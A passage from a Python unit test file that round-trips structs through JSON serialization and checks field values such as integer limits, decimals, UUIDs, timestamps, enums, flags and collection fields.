0) self.assertEqual(struct2.f18, 2147483647) self.assertEqual(struct2.f19, 0) self.assertEqual(struct2.f20, 0xFFFFFFFF) self.assertEqual(struct2.f21, 0) self.assertEqual(struct2.f22, 9223372036854775807) self.assertEqual(struct2.f23, 0) self.assertEqual(struct2.f24, 0xFFFFFFFFFFFFFFFF) self.assertEqual(struct2.f25, 0.0) self.assertLess(abs(struct2.f26 - 123.456), 0.0001) self.assertEqual(struct2.f27, 0.0) self.assertLess(abs(struct2.f28 - -123.567e+123), 1e+123) self.assertEqual(struct2.f29, decimal.Decimal("0")) self.assertEqual(struct2.f30, decimal.Decimal("123456.123456")) self.assertEqual(struct2.f31, "") self.assertEqual(struct2.f32, "Initial string!") self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f33 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertEqual(datetime.datetime.utcfromtimestamp(struct2.f34 / 1000000000), datetime.datetime(1970, 1, 1)) self.assertGreater(datetime.datetime.utcfromtimestamp(struct2.f35 / 1000000000), datetime.datetime(2018, 1, 1)) self.assertEqual(struct2.f36, uuid.UUID(int=0)) self.assertNotEqual(struct2.f37, uuid.UUID(int=0)) self.assertEqual(struct2.f38, uuid.UUID("123e4567-e89b-12d3-a456-426655440000")) self.assertEqual(struct2.f100, None) self.assertNotEqual(struct2.f101, None) self.assertEqual(struct2.f101, True) self.assertEqual(struct2.f102, None) self.assertEqual(struct2.f103, None) self.assertNotEqual(struct2.f104, None) self.assertEqual(struct2.f104, 0xFF) self.assertEqual(struct2.f105, None) self.assertEqual(struct2.f106, None) self.assertNotEqual(struct2.f107, None) self.assertEqual(struct2.f107, '!') self.assertEqual(struct2.f108, None) self.assertEqual(struct2.f109, None) self.assertNotEqual(struct2.f110, None) self.assertEqual(struct2.f110, chr(0x0444)) self.assertEqual(struct2.f111, None) self.assertEqual(struct2.f112, None) self.assertNotEqual(struct2.f113, None) self.assertEqual(struct2.f113, 127) self.assertEqual(struct2.f114, None) self.assertEqual(struct2.f115, None) self.assertNotEqual(struct2.f116, None) self.assertEqual(struct2.f116, 0xFF) self.assertEqual(struct2.f117, None) self.assertEqual(struct2.f118, None) self.assertNotEqual(struct2.f119, None) self.assertEqual(struct2.f119, 32767) self.assertEqual(struct2.f120, None) self.assertEqual(struct2.f121, None) self.assertNotEqual(struct2.f122, None) self.assertEqual(struct2.f122, 0xFFFF) self.assertEqual(struct2.f123, None) self.assertEqual(struct2.f124, None) self.assertNotEqual(struct2.f125, None) self.assertEqual(struct2.f125, 2147483647) self.assertEqual(struct2.f126, None) self.assertEqual(struct2.f127, None) self.assertNotEqual(struct2.f128, None) self.assertEqual(struct2.f128, 0xFFFFFFFF) self.assertEqual(struct2.f129, None) self.assertEqual(struct2.f130, None) self.assertNotEqual(struct2.f131, None) self.assertEqual(struct2.f131, 9223372036854775807) self.assertEqual(struct2.f132, None) self.assertEqual(struct2.f133, None) self.assertNotEqual(struct2.f131, None) self.assertEqual(struct2.f134, 0xFFFFFFFFFFFFFFFF) self.assertEqual(struct2.f135, None) self.assertEqual(struct2.f136, None) self.assertNotEqual(struct2.f137, None) self.assertLess(abs(struct2.f137 - 123.456), 0.0001) self.assertEqual(struct2.f138, None) self.assertEqual(struct2.f139, None) self.assertNotEqual(struct2.f140, None) self.assertLess(abs(struct2.f140 - -123.567e+123), 1e+123) self.assertEqual(struct2.f141, None) self.assertEqual(struct2.f142, None) self.assertNotEqual(struct2.f143, None) self.assertEqual(struct2.f143, decimal.Decimal("123456.123456")) self.assertEqual(struct2.f144, None) self.assertEqual(struct2.f145, None) self.assertNotEqual(struct2.f146, None) self.assertEqual(struct2.f146, "Initial string!") self.assertEqual(struct2.f147, None) self.assertEqual(struct2.f148, None) self.assertNotEqual(struct2.f149, None) self.assertGreater(datetime.datetime.utcfromtimestamp(struct2.f149 / 1000000000), datetime.datetime(2018, 1, 1)) self.assertEqual(struct2.f150, None) self.assertEqual(struct2.f151, None) self.assertNotEqual(struct2.f152, None) self.assertEqual(struct2.f152, uuid.UUID("123e4567-e89b-12d3-a456-426655440000")) self.assertEqual(struct2.f153, None) self.assertEqual(struct2.f154, None) self.assertEqual(struct2.f155, None) self.assertEqual(struct2.f156, None) self.assertEqual(struct2.f157, None) self.assertEqual(struct2.f158, None) self.assertEqual(struct2.f159, None) self.assertEqual(struct2.f160, None) self.assertEqual(struct2.f161, None) self.assertEqual(struct2.f162, None) self.assertEqual(struct2.f163, None) self.assertEqual(struct2.f164, None) self.assertEqual(struct2.f165, None) self.assertEqual(struct2.f1000, test.EnumSimple.ENUM_VALUE_0) self.assertEqual(struct2.f1001, None) self.assertEqual(struct2.f1002, test.EnumTyped.ENUM_VALUE_2) self.assertEqual(struct2.f1003, None) self.assertEqual(struct2.f1004, test.FlagsSimple.FLAG_VALUE_0) self.assertEqual(struct2.f1005, None) self.assertEqual(struct2.f1006, test.FlagsTyped.FLAG_VALUE_2 | test.FlagsTyped.FLAG_VALUE_4 | test.FlagsTyped.FLAG_VALUE_6) self.assertEqual(struct2.f1007, None) self.assertEqual(struct2.f1009, None) self.assertEqual(struct2.f1011, None) self.assertEqual(struct2.f1, struct1.f1) self.assertEqual(struct2.f2, struct1.f2) self.assertEqual(struct2.f3, struct1.f3) self.assertEqual(struct2.f4, struct1.f4) self.assertEqual(struct2.f5, struct1.f5) self.assertEqual(struct2.f6, struct1.f6) self.assertEqual(struct2.f7, struct1.f7) self.assertEqual(struct2.f8, struct1.f8) self.assertEqual(struct2.f9, struct1.f9) self.assertEqual(struct2.f10, struct1.f10) self.assertEqual(struct2.f11, struct1.f11) self.assertEqual(struct2.f12, struct1.f12) self.assertEqual(struct2.f13, struct1.f13) self.assertEqual(struct2.f14, struct1.f14) self.assertEqual(struct2.f15, struct1.f15) self.assertEqual(struct2.f16, struct1.f16) self.assertEqual(struct2.f17, struct1.f17) self.assertEqual(struct2.f18, struct1.f18) self.assertEqual(struct2.f19, struct1.f19) self.assertEqual(struct2.f20, struct1.f20) self.assertEqual(struct2.f21, struct1.f21) self.assertEqual(struct2.f22, struct1.f22) self.assertEqual(struct2.f23, struct1.f23) self.assertEqual(struct2.f24, struct1.f24) self.assertEqual(struct2.f25, struct1.f25) self.assertLess(abs(struct2.f26 - struct1.f26), 0.0001) self.assertEqual(struct2.f27, struct1.f27) self.assertLess(abs(struct2.f28 - struct2.f28), 1e+123) self.assertEqual(struct2.f29, struct1.f29) self.assertEqual(struct2.f30, struct1.f30) self.assertEqual(struct2.f31, struct1.f31) self.assertEqual(struct2.f32, struct1.f32) self.assertEqual(struct2.f33, struct1.f33) self.assertEqual(struct2.f34, struct1.f34) self.assertEqual(struct2.f35, struct1.f35) self.assertEqual(struct2.f36, struct1.f36) self.assertEqual(struct2.f37, struct1.f37) self.assertEqual(struct2.f38, struct1.f38) self.assertEqual(struct2.f39, struct1.f39) self.assertEqual(struct2.f40, struct1.f40) self.assertEqual(struct2.f100, struct1.f100) self.assertEqual(struct2.f101, struct1.f101) self.assertEqual(struct2.f102, struct1.f102) self.assertEqual(struct2.f103, struct1.f103) self.assertEqual(struct2.f104, struct1.f104) self.assertEqual(struct2.f105, struct1.f105) self.assertEqual(struct2.f106, struct1.f106) self.assertEqual(struct2.f107, struct1.f107) self.assertEqual(struct2.f108, struct1.f108) self.assertEqual(struct2.f109, struct1.f109) self.assertEqual(struct2.f110, struct1.f110) self.assertEqual(struct2.f111, struct1.f111) self.assertEqual(struct2.f112, struct1.f112) self.assertEqual(struct2.f113, struct1.f113) self.assertEqual(struct2.f114, struct1.f114) self.assertEqual(struct2.f115, struct1.f115) self.assertEqual(struct2.f116, struct1.f116) self.assertEqual(struct2.f117, struct1.f117) self.assertEqual(struct2.f118, struct1.f118) self.assertEqual(struct2.f119, struct1.f119) self.assertEqual(struct2.f120, struct1.f120) self.assertEqual(struct2.f121, struct1.f121) self.assertEqual(struct2.f122, struct1.f122) self.assertEqual(struct2.f123, struct1.f123) self.assertEqual(struct2.f124, struct1.f124) self.assertEqual(struct2.f125, struct1.f125) self.assertEqual(struct2.f126, struct1.f126) self.assertEqual(struct2.f127, struct1.f127) self.assertEqual(struct2.f128, struct1.f128) self.assertEqual(struct2.f129, struct1.f129) self.assertEqual(struct2.f130, struct1.f130) self.assertEqual(struct2.f131, struct1.f131) self.assertEqual(struct2.f132, struct1.f132) self.assertEqual(struct2.f133, struct1.f133) self.assertEqual(struct2.f134, struct1.f134) self.assertEqual(struct2.f135, struct1.f135) self.assertEqual(struct2.f136, struct1.f136) self.assertLess(abs(struct2.f137 - struct1.f137), 0.0001) self.assertEqual(struct2.f138, struct1.f138) self.assertEqual(struct2.f139, struct1.f139) self.assertLess(abs(struct2.f140 - struct1.f140), 1e+123) self.assertEqual(struct2.f141, struct1.f141) self.assertEqual(struct2.f142, struct1.f142) self.assertEqual(struct2.f143, struct1.f143) self.assertEqual(struct2.f144, struct1.f144) self.assertEqual(struct2.f145, struct1.f145) self.assertEqual(struct2.f146, struct1.f146) self.assertEqual(struct2.f147, struct1.f147) self.assertEqual(struct2.f148, struct1.f148) self.assertEqual(struct2.f149, struct1.f149) self.assertEqual(struct2.f150, struct1.f150) self.assertEqual(struct2.f151, struct1.f151) self.assertEqual(struct2.f152, struct1.f152) self.assertEqual(struct2.f153, struct1.f153) self.assertEqual(struct2.f154, struct1.f154) self.assertEqual(struct2.f155, struct1.f155) self.assertEqual(struct2.f156, struct1.f156) self.assertEqual(struct2.f157, struct1.f157) self.assertEqual(struct2.f1000, struct1.f1000) self.assertEqual(struct2.f1001, struct1.f1001) self.assertEqual(struct2.f1002, struct1.f1002) self.assertEqual(struct2.f1003, struct1.f1003) self.assertEqual(struct2.f1004, struct1.f1004) self.assertEqual(struct2.f1005, struct1.f1005) self.assertEqual(struct2.f1006, struct1.f1006) self.assertEqual(struct2.f1007, struct1.f1007) def test_serialization_json_struct_bytes(self): # Define a source JSON string json = r'{"f1":"QUJD","f2":"dGVzdA==","f3":null}' # Create a new struct from the source JSON string struct1 = test.StructBytes.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructBytes.from_json(json) self.assertEqual(len(struct2.f1), 3) self.assertEqual(chr(struct2.f1[0]), 'A') self.assertEqual(chr(struct2.f1[1]), 'B') self.assertEqual(chr(struct2.f1[2]), 'C') self.assertNotEqual(struct2.f2, None) self.assertEqual(len(struct2.f2), 4) self.assertEqual(chr(struct2.f2[0]), 't') self.assertEqual(chr(struct2.f2[1]), 'e') self.assertEqual(chr(struct2.f2[2]), 's') self.assertEqual(chr(struct2.f2[3]), 't') self.assertEqual(struct2.f3, None) def test_serialization_json_struct_array(self): # Define a source JSON string json = r'{"f1":[48,65],"f2":[97,null],"f3":["MDAw","QUFB"],"f4":["YWFh",null],"f5":[1,2],"f6":[1,null],"f7":[3,7],"f8":[3,null],"f9":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145986060361000,"f36":"00000000-0000-0000-0000-000000000000","f37":"cedcad98-f0a6-11e8-9f47-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145986060910000,"f36":"00000000-0000-0000-0000-000000000000","f37":"cedcc274-f0a6-11e8-9f47-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}],"f10":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543145986061436000,"f36":"00000000-0000-0000-0000-000000000000","f37":"cedcd714-f0a6-11e8-9f47-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},null]}' # Create a new struct from the source JSON string struct1 = test.StructArray.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructArray.from_json(json) self.assertEqual(len(struct2.f1), 2) self.assertEqual(struct2.f1[0], 48) self.assertEqual(struct2.f1[1], 65) self.assertEqual(len(struct2.f2), 2) self.assertEqual(struct2.f2[0], 97) self.assertEqual(struct2.f2[1], None) self.assertEqual(len(struct2.f3), 2) self.assertEqual(len(struct2.f3[0]), 3) self.assertEqual(struct2.f3[0][0], 48) self.assertEqual(struct2.f3[0][1], 48) self.assertEqual(struct2.f3[0][2], 48) self.assertEqual(len(struct2.f3[1]), 3) self.assertEqual(struct2.f3[1][0], 65) self.assertEqual(struct2.f3[1][1], 65) self.assertEqual(struct2.f3[1][2], 65) self.assertEqual(len(struct2.f4), 2) self.assertNotEqual(struct2.f4[0], None) self.assertEqual(len(struct2.f4[0]), 3) self.assertEqual(struct2.f4[0][0], 97) self.assertEqual(struct2.f4[0][1], 97) self.assertEqual(struct2.f4[0][2], 97) self.assertEqual(struct2.f4[1], None) self.assertEqual(len(struct2.f5), 2) self.assertEqual(struct2.f5[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f5[1], test.EnumSimple.ENUM_VALUE_2) self.assertEqual(len(struct2.f6), 2) self.assertEqual(struct2.f6[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f6[1], None) self.assertEqual(len(struct2.f7), 2) self.assertEqual(struct2.f7[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f7[1], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) self.assertEqual(len(struct2.f8), 2) self.assertEqual(struct2.f8[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f8[1], None) self.assertEqual(len(struct2.f9), 2) self.assertEqual(struct2.f9[0].f2, True) self.assertEqual(struct2.f9[0].f12, 0xFF) self.assertEqual(struct2.f9[0].f32, "Initial string!") self.assertEqual(struct2.f9[1].f2, True) self.assertEqual(struct2.f9[1].f12, 0xFF) self.assertEqual(struct2.f9[1].f32, "Initial string!") self.assertEqual(len(struct2.f10), 2) self.assertNotEqual(struct2.f10[0], None) self.assertEqual(struct2.f10[0].f2, True) self.assertEqual(struct2.f10[0].f12, 0xFF) self.assertEqual(struct2.f10[0].f32, "Initial string!") self.assertEqual(struct2.f10[1], None) def test_serialization_json_struct_vector(self): # Define a source JSON string json = r'{"f1":[48,65],"f2":[97,null],"f3":["MDAw","QUFB"],"f4":["YWFh",null],"f5":[1,2],"f6":[1,null],"f7":[3,7],"f8":[3,null],"f9":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146157127964000,"f36":"00000000-0000-0000-0000-000000000000","f37":"34d38702-f0a7-11e8-b30e-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146157128572000,"f36":"00000000-0000-0000-0000-000000000000","f37":"34d39c88-f0a7-11e8-b30e-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}],"f10":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146157129063000,"f36":"00000000-0000-0000-0000-000000000000","f37":"34d3b038-f0a7-11e8-b30e-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},null]}' # Create a new struct from the source JSON string struct1 = test.StructVector.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructVector.from_json(json) self.assertEqual(len(struct2.f1), 2) self.assertEqual(struct2.f1[0], 48) self.assertEqual(struct2.f1[1], 65) self.assertEqual(len(struct2.f2), 2) self.assertEqual(struct2.f2[0], 97) self.assertEqual(struct2.f2[1], None) self.assertEqual(len(struct2.f3), 2) self.assertEqual(len(struct2.f3[0]), 3) self.assertEqual(struct2.f3[0][0], 48) self.assertEqual(struct2.f3[0][1], 48) self.assertEqual(struct2.f3[0][2], 48) self.assertEqual(len(struct2.f3[1]), 3) self.assertEqual(struct2.f3[1][0], 65) self.assertEqual(struct2.f3[1][1], 65) self.assertEqual(struct2.f3[1][2], 65) self.assertEqual(len(struct2.f4), 2) self.assertNotEqual(struct2.f4[0], None) self.assertEqual(len(struct2.f4[0]), 3) self.assertEqual(struct2.f4[0][0], 97) self.assertEqual(struct2.f4[0][1], 97) self.assertEqual(struct2.f4[0][2], 97) self.assertEqual(struct2.f4[1], None) self.assertEqual(len(struct2.f5), 2) self.assertEqual(struct2.f5[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f5[1], test.EnumSimple.ENUM_VALUE_2) self.assertEqual(len(struct2.f6), 2) self.assertEqual(struct2.f6[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f6[1], None) self.assertEqual(len(struct2.f7), 2) self.assertEqual(struct2.f7[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f7[1], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) self.assertEqual(len(struct2.f8), 2) self.assertEqual(struct2.f8[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f8[1], None) self.assertEqual(len(struct2.f9), 2) self.assertEqual(struct2.f9[0].f2, True) self.assertEqual(struct2.f9[0].f12, 0xFF) self.assertEqual(struct2.f9[0].f32, "Initial string!") self.assertEqual(struct2.f9[1].f2, True) self.assertEqual(struct2.f9[1].f12, 0xFF) self.assertEqual(struct2.f9[1].f32, "Initial string!") self.assertEqual(len(struct2.f10), 2) self.assertNotEqual(struct2.f10[0], None) self.assertEqual(struct2.f10[0].f2, True) self.assertEqual(struct2.f10[0].f12, 0xFF) self.assertEqual(struct2.f10[0].f32, "Initial string!") self.assertEqual(struct2.f10[1], None) def test_serialization_json_struct_list(self): # Define a source JSON string json = r'{"f1":[48,65],"f2":[97,null],"f3":["MDAw","QUFB"],"f4":["YWFh",null],"f5":[1,2],"f6":[1,null],"f7":[3,7],"f8":[3,null],"f9":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146220253760000,"f36":"00000000-0000-0000-0000-000000000000","f37":"5a73e7fe-f0a7-11e8-89e6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146220255725000,"f36":"00000000-0000-0000-0000-000000000000","f37":"5a741990-f0a7-11e8-89e6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}}],"f10":[{"id":0,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146220256802000,"f36":"00000000-0000-0000-0000-000000000000","f37":"5a74e4b0-f0a7-11e8-89e6-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},null]}' # Create a new struct from the source JSON string struct1 = test.StructList.from_json(json) # Serialize the struct to the JSON string json = struct1.to_json() # Check the serialized JSON size self.assertGreater(len(json), 0) # Deserialize the struct from the JSON string struct2 = test.StructList.from_json(json) self.assertEqual(len(struct2.f1), 2) self.assertEqual(struct2.f1[0], 48) self.assertEqual(struct2.f1[1], 65) self.assertEqual(len(struct2.f2), 2) self.assertEqual(struct2.f2[0], 97) self.assertEqual(struct2.f2[1], None) self.assertEqual(len(struct2.f3), 2) self.assertEqual(len(struct2.f3[0]), 3) self.assertEqual(struct2.f3[0][0], 48) self.assertEqual(struct2.f3[0][1], 48) self.assertEqual(struct2.f3[0][2], 48) self.assertEqual(len(struct2.f3[1]), 3) self.assertEqual(struct2.f3[1][0], 65) self.assertEqual(struct2.f3[1][1], 65) self.assertEqual(struct2.f3[1][2], 65) self.assertEqual(len(struct2.f4), 2) self.assertNotEqual(struct2.f4[0], None) self.assertEqual(len(struct2.f4[0]), 3) self.assertEqual(struct2.f4[0][0], 97) self.assertEqual(struct2.f4[0][1], 97) self.assertEqual(struct2.f4[0][2], 97) self.assertEqual(struct2.f4[1], None) self.assertEqual(len(struct2.f5), 2) self.assertEqual(struct2.f5[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f5[1], test.EnumSimple.ENUM_VALUE_2) self.assertEqual(len(struct2.f6), 2) self.assertEqual(struct2.f6[0], test.EnumSimple.ENUM_VALUE_1) self.assertEqual(struct2.f6[1], None) self.assertEqual(len(struct2.f7), 2) self.assertEqual(struct2.f7[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f7[1], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2 | test.FlagsSimple.FLAG_VALUE_3) self.assertEqual(len(struct2.f8), 2) self.assertEqual(struct2.f8[0], test.FlagsSimple.FLAG_VALUE_1 | test.FlagsSimple.FLAG_VALUE_2) self.assertEqual(struct2.f8[1], None) self.assertEqual(len(struct2.f9), 2) self.assertEqual(struct2.f9[0].f2, True) self.assertEqual(struct2.f9[0].f12, 0xFF) self.assertEqual(struct2.f9[0].f32, "Initial string!") self.assertEqual(struct2.f9[1].f2, True) self.assertEqual(struct2.f9[1].f12, 0xFF) self.assertEqual(struct2.f9[1].f32, "Initial string!") self.assertEqual(len(struct2.f10), 2) self.assertNotEqual(struct2.f10[0], None) self.assertEqual(struct2.f10[0].f2, True) self.assertEqual(struct2.f10[0].f12, 0xFF) self.assertEqual(struct2.f10[0].f32, "Initial string!") self.assertEqual(struct2.f10[1], None) def test_serialization_json_struct_set(self): # Define a source JSON string json = r'{"f1":[48,65,97],"f2":[1,2],"f3":[3,7],"f4":[{"id":48,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial string!","f33":0,"f34":0,"f35":1543146299848353000,"f36":"00000000-0000-0000-0000-000000000000","f37":"89e4edd0-f0a7-11e8-9dde-ac220bcdd8e0","f38":"123e4567-e89b-12d3-a456-426655440000","f39":0,"f40":0,"f41":{"id":0,"symbol":"","side":0,"type":0,"price":0.0,"volume":0.0},"f42":{"currency":"","amount":0.0},"f43":0,"f44":{"id":0,"name":"","state":11,"wallet":{"currency":"","amount":0.0},"asset":null,"orders":[]}},{"id":65,"f1":false,"f2":true,"f3":0,"f4":255,"f5":0,"f6":33,"f7":0,"f8":1092,"f9":0,"f10":127,"f11":0,"f12":255,"f13":0,"f14":32767,"f15":0,"f16":65535,"f17":0,"f18":2147483647,"f19":0,"f20":4294967295,"f21":0,"f22":9223372036854775807,"f23":0,"f24":18446744073709551615,"f25":0.0,"f26":123.456,"f27":0.0,"f28":-1.23456e+125,"f29":"0.0","f30":"123456.123456","f31":"","f32":"Initial 